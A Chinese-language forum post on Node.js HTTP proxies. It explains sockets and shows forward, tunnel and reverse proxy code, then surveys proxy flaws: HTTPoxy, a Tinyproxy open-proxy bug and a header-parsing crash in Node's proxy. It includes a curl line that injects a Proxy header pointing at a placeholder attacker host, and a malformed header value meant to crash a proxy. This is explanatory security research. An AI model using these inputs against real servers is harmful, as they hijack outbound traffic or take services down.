[渗透测试] HTTP PROXY 安全研究

[复制链接]
查看5997 | 回复0 | 2019-3-29 11:08:32 | 显示全部楼层 |阅读模式

HTTP PROXY及net.Socket

  1. http.createServer => 返回http.Server
  2. http.get , http.request => 返回http.ClientRequest
  3. http.Server => 内部创建http.ServerResponse
  4. http.Server , http.ClienRequest => 内部创建http.IncomingMessage
  5. http.IncomingMessage类实现可读流接口
  6. http.ClientRequest类实现可写流接口
  7. http.ServerResponse类实现可写流接口
  8. socket流是duplex stream , 即可写也可读

net.Socket

简单的交流

利用 事件、流 ,可以很容易的完成一个 “简单交流“ 的功能, 而不用去写多线程

  1. server:
  2. const net = require('net');
  3. const process = require('process');
  4. const server = net.createServer(); //创建Server服务器
  5. server.on('connection',(c)=>{ //触发connection事件时
  6. c.pipe(process.stdout); //将客户端socket重定向到控制台
  7. process.stdin.pipe(c); //将控制台输入重定向到客户端socket
  8. })
  9. server.listen(1111); //监听端口
  10. client:
  11. const net = require('net');
  12. const process = require('process');
  13. const options = {
  14. host: 'localhost',
  15. port: 1111,
  16. }
  17. const s = net.connect(options,()=>{ //连接Server服务器,触发connection事件
  18. console.log('server connected');
  19. process.stdin.pipe(s); //将控制台输入重定向到服务端socket
  20. s.pipe(process.stdout); //将服务端socket重定向到控制台

这是一个简单的客户端与服务端通过socket连接进行通信的例子。服务端创建服务,监听端口,等待连接。客户端发起连接进行三次握手,然后进行数据交互。

在nodejs中,我们使用通过监听事件来处理相应操作,上述例子中,我们创建的服务监听了connection事件,即:

  1. server.on('connection',(c)=>{ //触发connection事件时
  2. c.pipe(process.stdout); //将客户端socket重定向到控制台
  3. process.stdin.pipe(c); //将控制台输入重定向到客户端socket
  4. })

当客户端发起连接并成功连接到服务端监听的端口,触发connection事件。同理客户端也监听connection事件,对后续连接成功做好准备。

socket流是duplex stream,即可写也可读。pipe是常使用的管道符,将流的输出通过管道导入到流的输入。socket流即可写也可读,即可理解为可输出输入。服务端通过pipe将客户端通过socket传输的数据重定向到终端输出中,将终端输入重定向到socket通道中,客户端通过同样的方式来处理终端和socket中的数据流。

我们并没有使用像python多线程的一样的写法,来使用不同的线程来分别处理socket输出和终端输入,这是nodejs本身的事件机制带来的好处,通过nodejs自身线程池,事件循环,异步处理,来避免了多线程复杂的写法。

连接时三次握手:

img

通过TCP socket传输数据:

img

获取

http服务本身是基于TCP协议封装,所以同样会涉及到socket的使用,nodejs本身的http库,支持对http服务连接中socket的调用,这样我们便可以在http服务中,操作socket,来完成更多功能,如:http隧道代理

1.http.ClientRequest 类

  1. connect事件:
  2. response
  3. socket
  4. head
  5. sokcet事件:
  6. socket
  7. upgrade事件:
  8. response
  9. socket
  10. head
  11. request.connection:
  12. 返回
  13. request.socket:
  14. 返回

2.http.Server 类

  1. clientError 事件:
  2. exception < Eroor >
  3. socket
  4. connect 事件:
  5. request
  6. socket
  7. head
  8. upgrade 事件:
  9. request
  10. socket
  11. head
  12. connection 事件:
  13. socket

3.http.ServerResponse类

  1. response.connection:
  2. 返回
  3. response.socket:
  4. 返回

4.http.IncomingMessage类

  1. message.socket:
  2. 返回

5.http.createServer([options][,requestListener])

  1. requestListener:
  2. 自动添加http.Server类的 request事件

6.net.Server类

  1. connetiton事件
  2. 返回

创建net.Socket

1.net.createConnection()

  1. new net.Socket([options]) && socket.connect(option)
  2. fd
  3. allowHalfOpen
  4. readable
  5. writable
  6. ( 以上为new net.Socket([options]) )
  7. port
  8. host
  9. localAddress
  10. localPort
  11. family
  12. hints
  13. lookup
  14. net.createConnection(port[, host][, connectListener])
  15. port
  16. host
  17. socket.connect(path[, connectListener])
  18. path ( IPC )

2.net.connect()

  1. 同createConnection()

搭建 HTTP 代理

简单代理

  1. 对浏览器的 http 简单代理

普通代理:

  1. const url = require('url');
  2. const httpServer = http.createServer();
  3. httpServer.on('request',(req,res)=>{
  4. const targetUrl = url.parse(req.url);
  5. const reqOptions = {
  6. host: targetUrl.host,
  7. path: targetUrl.path || "",
  8. headers: req.headers,
  9. }
  10. const proxyReq = http.request(reqOptions,(proxyRes)=>{
  11. console.log(proxyRes.headers);
  12. res.writeHead(proxyRes.statusCode, proxyRes.headers);
  13. proxyRes.pipe(res);
  14. });
  15. proxyReq.on('error',(e)=>{
  16. res.end();
  17. })
  18. proxyReq.end();
  19. })
  20. httpServer.on('error',(e)=>{
  21. console.log(e);
  22. })
  23. httpServer.listen(1111);

img

带使用普通代理时,客户端检测到存在http代理,便会先将http头信息转发给http代理服务器。上图可以看到,代理服务器接收到的http头相对客户端直接发送给服务端的http头有一点小差异,即代理服务器接收的http头url是一个绝对的url地址,具有完整url结构。

代理服务器从这个http头中,提取关键要素:url地址,端口,header头。代理发送请求,将接收到的http头,状态码先发送给客户端,再将接收到body数据通过pipe重定向到http.ServerResponse可写流,客户端相应接收代理服务器发送数据。

隧道代理:隧道代理主要 针对与使用CONNECT方式请求的HTTP代理

img

  1. const net = require('net');
  2. const http = require('http');
  3. const url = require('url');
  4. const server = http.createServer()
  5. server.on('connect',(req,clientSock,header)=>{
  6. const u = url.parse(`https://${req.url}`);
  7. const proxySock = net.connect(u.port,u.hostname,()=>{ //建立一个socket隧道 将客户端和服务端数据通过隧道进行传输 这样就可以完成在http代理对https请求的代理
  8. clientSock.write('HTTP/1.1 200 Connection Established\r\n\r\n');
  9. proxySock.pipe(clientSock);
  10. }).on('error',(e)=>{
  11. clientSock.end();
  12. });
  13. clientSock.pipe(proxySock);
  14. })
  15. server.listen(1111)

img

隧道代理的关键,在于代理服务器不直接参与客户端和服务端数据交互的中转,而是通过代理服务器在客户端和服务端建立一条socket通道,使客户端和服务端在这条新的socket隧道中进行数据交互。完成的原理是利用代理服务器分别获取 客户端到代理的socket 和 代理到服务器的socket,再将两个socket使用pipe进行连通。

CONNECT连接方式常使用在https的代理上,普通代理无法完成对https的代理,因为代理服务器无法直接从客户端请求中提取关键的信息,https的内容是使用服务端公钥加密,在代理服务器没有服务端私钥的情况下,无法解密信息。而对于CONNECT隧道连接来说,所有的数据请求都是通过socket隧道来传输,代理只需要从连接中获取socket,从请求中获取域名和端口,无需获取完整的http头信息,所以代理https的数据请求。

隧道代理认证: 代理服务器使用 407 状态码回复客户端代理认证

img

  1. 对http服务器简单代理
  1. const http = require('http');
  2. const url = require('url');
  3. const targetUrl = 'http://jwc.cuit.edu.cn';
  4. const server = http.createServer();
  5. server.on('request',(req,res)=>{
  6. const u = url.parse(targetUrl);
  7. const reqOptions = {
  8. hostname: u.hostname,
  9. port: u.port || 80,
  10. path: url.parse(req.url).path || '',
  11. }
  12. const proxyReq = http.request(reqOptions,(proxyRes)=>{
  13. res.writeHead(proxyRes.statusCode,proxyRes.headers);
  14. proxyRes.pipe(res);
  15. });
  16. proxyReq.on('error',(e)=>{
  17. console.log(e);
  18. })
  19. proxyReq.end();
  20. });
  21. server.listen(1111)

原理:自身建立http服务,或https服务,在获取客户端请求的时候,将请求本身的地址,替换为目标地址,同样转发相应的http heaers头,body信息。

通过修改,可代理http和https的网站,这里的代理,需要区别上面的请求代理。这里的对http服务的代理,是指定对象,对特定的网站进行代理。代理自身开启http服务或https服务,转发对目标地址的请求地址,请求头。目标地址请求,由代理服务器发起。

  1. 利用http-proxy库:
  1. const http = require('http');
  2. const httpproxy = require('http-proxy');
  3. const url = require('url');
  4. const proxy = httpproxy.createProxy({});
  5. http.createServer((req,res)=>{
  6. const target = 'http://jwc.cuit.edu.cn';
  7. const parsedUrl = url.parse(target);
  8. const options = {
  9. target: target,
  10. headers: { host: parsedUrl.hostname },
  11. }
  12. proxy.web(req,res,options);
  13. }).listen(1111);

同样支持target为https , http-proxy在请求的使用 https.request()

分析 http-proxy库

目录结构:

  1. -- http-proxy
  2. -- passes
  3. -- web-incoming.js //对客户端进行代理请求
  4. -- web-outgoing.js //对服务端返回数据进行处理
  5. -- ws-incoming.js //处理ws服务的请求
  6. -- conmon.js //包含公共方法
  7. -- index.js //启动器 决定是调用http(s)或ws服务
  8. -- http-proxy.js //入口main函数

HTTP PROXY漏洞历史

http proxy的攻击主要集中在中间人攻击上,通过代理来记录或篡改HTTP访问中的数据,如何构建一个http proxy代理 成为一个入手点。

0x00 HTTPOXY

链接1

链接2

环境

利用:

  1. curl -H "Proxy: xxxxx.com:1233" http://xx.com //自定义添加Proxy header头

关键流程:

  1. HTTP服务器接收并解析HTTP请求,并配置必要的环境变量。
  2. HTTP服务器调用CGI脚本,并通过脚本的标准输入传递请求数据。
  3. CGI脚本处理环境变量及其输入,并使用脚本的标准输出将响应发送回HTTP服务器。
  4. HTTP服务器将CGI脚本生成的响应发送回客户端

原理:

“Protocol-Specific Meta-Variables”(协议特定元变量) HTTP服务器会将HTTP Headers种的值注册到环境变量种 注册过程将Headers头全部大写 “-“替换为”” 上前缀”HTTP

CGI在脚本无法区分HTTP_PROXY是来自HTTP Headers注册变量 还是系统环境变量 导致通过HTTP Headers头注册Proxy被CGI当作系统环境变量 错误的代理处理HTTP请求

危害:

CGI内部的请求会被代理给暴露

0x01Tinyproxy

Tinyproxy在子网掩码生成实现上存在一个错误,当配置允许网络段时(如"Allow 192.168.0.0/24"相对与默认的"Allow 127.0.0.1"),会允许任意IP地址连接,使其成为一个开放代理。

0x02 Node-HTTP-Proxy 案例

  1. 错误标头导致程序崩溃

nodejs 在安全发布中提到:

为了解决这个缺陷,Node.js中针对请求和响应的HTTP头解析正在接近正式的HTTP规范。包含令牌有效集之外的字符的HTTP标头将被拒绝。对Node.js HTTP服务器和客户端的请求和响应执行此检查。

通过向代理发送不正确的 HTTP 头来,来导致程序异常报错终止。

如:

  1. content-type: "�?@"

相关文档

HTTP 基本规则

基本规则链接

对于字段包含注释内容 参考wiki:

某些字段中可以包含注释内容(例如User-Agent、Server和Via字段中),这些注释内容可由应用程序忽略

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

5

主题

6

帖子

87

积分

版主

Rank: 7Rank: 7Rank: 7

积分
87